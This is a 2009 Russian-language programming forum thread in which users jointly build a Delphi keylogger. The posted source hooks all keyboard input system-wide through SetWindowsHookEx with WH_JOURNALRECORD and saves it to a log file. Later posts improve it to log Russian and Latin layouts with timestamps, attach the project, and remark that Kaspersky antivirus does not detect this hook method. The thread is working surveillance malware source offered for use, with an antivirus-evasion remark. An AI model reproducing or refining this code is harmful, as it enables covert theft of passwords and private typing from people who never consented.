Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 30.09.2009, 19:33   #31
betirsolt
Форумчанин
 
Регистрация: 20.07.2009
Сообщений: 421
По умолчанию

Цитата:
Сообщение от Lime Посмотреть сообщение
ну вот я так и делаю...но он пишет 3 ошибки
[DCC Warning] Unit1.pas(40): W1021 Comparison always evaluates to False
[DCC Error] Unit1.pas(60): E2010 Incompatible types: 'TPersistent' and 'Text'
[DCC Error] Unit1.pas(63): E2010 Incompatible types: 'string' and 'Text'
и подчеркивает эту строку Assign(f,'C:\WINDOWS\log.log');
Уважаемые модераторы, Я всячески стараюсь не нарушать правила сайта, будьте снисходительны

Последний раз редактировалось betirsolt; 30.09.2009 в 19:39.
betirsolt вне форума Ответить с цитированием
Старый 30.09.2009, 22:52   #32
Lime
Форумчанин
 
Аватар для Lime
 
Регистрация: 10.02.2009
Сообщений: 815
По умолчанию

Цитата:
Сообщение от betirsolt Посмотреть сообщение
ну вот я так и делаю...но он пишет 3 ошибки
[DCC Warning] Unit1.pas(40): W1021 Comparison always evaluates to False
[DCC Error] Unit1.pas(60): E2010 Incompatible types: 'TPersistent' and 'Text'
[DCC Error] Unit1.pas(63): E2010 Incompatible types: 'string' and 'Text'
и подчеркивает эту строку Assign(f,'C:\WINDOWS\log.log');
Для того чтобы сохранить текст находящийся в memo в файл нужна 1 строчка которую я уже описал выше - ошибки у тебя в других местах.
Assign тут вообще непричем.

[off]ПСФ: Юбилей 256 сообщение[/off]
Lime вне форума Ответить с цитированием
Старый 30.09.2009, 23:45   #33
uberchel
Участник клуба
 
Аватар для uberchel
 
Регистрация: 19.01.2009
Сообщений: 1,453
По умолчанию

Ну, что еще может быть не понятно ?
Stilet же да вам код, вот вставить в проект , думаю сможете:

Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  h:hhook;
  Form1: TForm1;

implementation

{$R *.dfm}

function Proc(code:integer; wParam:WPARAM; lParam:LPARAM):lresult;stdcall;
var
 c: array[0..255] of char;
 s: string;
 f: file of char;
 nScan: integer;
begin
 if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then
 begin
  nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
  nscan:=nscan shl 16;
  GetKeyNameText(nScan,c,256);
  with Form1 do begin
   Memo1.lines.Text:= Memo1.lines.Text + c[0];
   Memo1.lines.SaveToFile('C:\log.txt');
  end;
  result:=callnexthookex(h,code,wparam,lparam);
 end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 unhookwindowshookex(h);
end;

end.
P.S. не Assign, а AssignFile !
uberchel вне форума Ответить с цитированием
Старый 01.10.2009, 00:12   #34
betirsolt
Форумчанин
 
Регистрация: 20.07.2009
Сообщений: 421
По умолчанию

Код:
function Proc(  code:integer;wParam:WPARAM;lParam:LPARAM):lresult;stdcall;
var
  h:hhook;
  Form1: TForm1;
  f:textfile;
implementation
 function Proc(code:integer; wParam:WPARAM;lParam:LPARAM ):lresult;stdcall;
var c:array[0..255] of char; nScan:integer;
begin
  if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
  nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
  nscan:=nscan shl 16;
  GetKeyNameText(nScan,c,256);
if length(c)=1 then
begin
 Form1.Memo1.Lines.Text:=Form1.Memo1.Lines.Text+c;
end
else begin
 Form1.Memo1.Lines.Append(c);
 end;
 end;
 result:=callnexthookex(h,code,wparam,lparam);
end;

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
 h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
 form1.Memo1.Lines.SaveToFile('C:\log.txt');
end;
вот так я сделал.компилируется без ошибок.все что я напираю он записывает в мемо и создает лог файл,но туда ниче не записывает(((в чем тут проблема....кто нибудь подскажите

все уже сделал...с вашей помощю.все работает отлично...не ну надо же это работает без длл))))многие говорили что без длл это невозможно)))ну вы ребята сила просто..теперь скажите мне как я могу проверять размер моего лог файла???ну например если он больше 4кб тогда сделать следующее действие

ну что кто нибудь скажет мне как проверять размер файла???и очистить файл???
Уважаемые модераторы, Я всячески стараюсь не нарушать правила сайта, будьте снисходительны

Последний раз редактировалось Stilet; 02.10.2009 в 12:57.
betirsolt вне форума Ответить с цитированием
Старый 02.10.2009, 12:43   #35
Вавел из ГМТУ
Форумчанин
 
Регистрация: 19.06.2009
Сообщений: 896
По умолчанию

А зачем его очищать?
Вавел из ГМТУ вне форума Ответить с цитированием
Старый 02.10.2009, 20:32   #36
betirsolt
Форумчанин
 
Регистрация: 20.07.2009
Сообщений: 421
По умолчанию

Цитата:
Сообщение от Вавел из ГМТУ Посмотреть сообщение
А зачем его очищать?
ну если я уже сделал все что надо и текст который там находиться мне больше не нужен...если я хочу заново начать
Уважаемые модераторы, Я всячески стараюсь не нарушать правила сайта, будьте снисходительны
betirsolt вне форума Ответить с цитированием
Старый 03.10.2009, 00:00   #37
DeKot
Участник клуба
 
Аватар для DeKot
 
Регистрация: 12.08.2008
Сообщений: 1,977
По умолчанию

Keylogger собранный по вышеприведенному коду имеет ряд существенных недостатков:
1. Текст в лог-файле пишется одной сплошной строкой без пробелов.
2. Файл записывает только латинские символы независимо от раскладки клавиатуры.
3.Нажатие смысловых клавиш порой не отличить от нажатых служебных клавиш (пробел, перенос строки, регистр, раскладка и т.д.)
Все это очень затрудняет расшифровку содержания лога.
Поэтому немного доработал код:
1.Ввел ограничение подлине строк в логе с переносом строк.
2.Отделил все нажатия служебных клавиш пробелами.
3.Записываются два файла - в одном латинскими символами, соответствующими нажатым клавишам (log_en.txt), в другом русскими -(log_rus.txt).
4.Регистрируется дата и время начала записи в лог.
Получилось вот что:
Набор текста в обычном редакторе
Цитата:
For English
This program "Keylogger" saving press-key in two files.
На русском
Эта программа "Кейлоггер" сохраняет нажатую клавишу в два файла.
Результат в лог-файлах:

Теперь нетрудно расшифровать практически все нажатые клавиши.
По поводу уничтожения файлов
Цитата:
ну если я уже сделал все что надо и текст который там находиться мне больше не нужен...если я хочу заново начать
При каждом новом запуске старые лог-файлы заменяются новыми автоматом.
Вот если наооборот над сохранить файлы после перезапуска проги или перезапуска компа, то достаточно имя файла создавать в следующем виде:
Код:
...SaveToFile(' ...\log_en' + FormatDateTime('c',Now) + '.txt');
Проект в аттаче. Запустите проект, а затем можно работать с клавиатурой в любой другой программе, в редакторах, в браузере, в Дельфи _ прямо в этом же проекте. Все нажатия клавиш регистрируются.
Да, перед запуском проекта не забудьте поставить свой ,правильный для Вашего компа , путь к лог-файлам!
Вложения
Тип файла: rar Keylogger3.rar (3.7 Кб, 140 просмотров)
И не сомневайся даже ... отдых - кайф, работа - лажа!

Последний раз редактировалось DeKot; 03.10.2009 в 00:15.
DeKot вне форума Ответить с цитированием
Старый 03.10.2009, 00:37   #38
Lime
Форумчанин
 
Аватар для Lime
 
Регистрация: 10.02.2009
Сообщений: 815
По умолчанию

Кстате каспер на счёт хуков вообще молчит )
На аналоги с Длл матерится)
Lime вне форума Ответить с цитированием
Старый 03.10.2009, 00:44   #39
Вавел из ГМТУ
Форумчанин
 
Регистрация: 19.06.2009
Сообщений: 896
По умолчанию

Цитата:
Сообщение от Lime Посмотреть сообщение
Кстате каспер на счёт хуков вообще молчит )
На аналоги с Длл матерится)
Ничего, скоро и этот код будет в базах сигнатур....
Вавел из ГМТУ вне форума Ответить с цитированием
Старый 03.10.2009, 13:25   #40
betirsolt
Форумчанин
 
Регистрация: 20.07.2009
Сообщений: 421
По умолчанию

Цитата:
Сообщение от DeKot Посмотреть сообщение
Keylogger собранный по вышеприведенному коду имеет ряд существенных недостатков:
1. Текст в лог-файле пишется одной сплошной строкой без пробелов.
2. Файл записывает только латинские символы независимо от раскладки клавиатуры.
3.Нажатие смысловых клавиш порой не отличить от нажатых служебных клавиш (пробел, перенос строки, регистр, раскладка и т.д.)
Все это очень затрудняет расшифровку содержания лога.
Поэтому немного доработал код:
[/COLOR]
отличный код просто...спасибо.правда этот код:
..SaveToFile(' ...\log_en' + FormatDateTime('c',Now) + '.txt');
не работает,происходит ошибка по ходу проги...ну это ничего
Уважаемые модераторы, Я всячески стараюсь не нарушать правила сайта, будьте снисходительны

Последний раз редактировалось betirsolt; 03.10.2009 в 17:44.
betirsolt вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
:::Keylogger::: doniyor Общие вопросы Delphi 15 02.03.2012 19:56
keylogger DeDoK Общие вопросы Delphi 15 06.06.2010 00:15
Keylogger, проблемы andreibtzt Win Api 9 05.06.2010 17:51
обновление в блоге - Клавиатурный шпион. Pblog Обсуждение статей 0 27.05.2007 03:17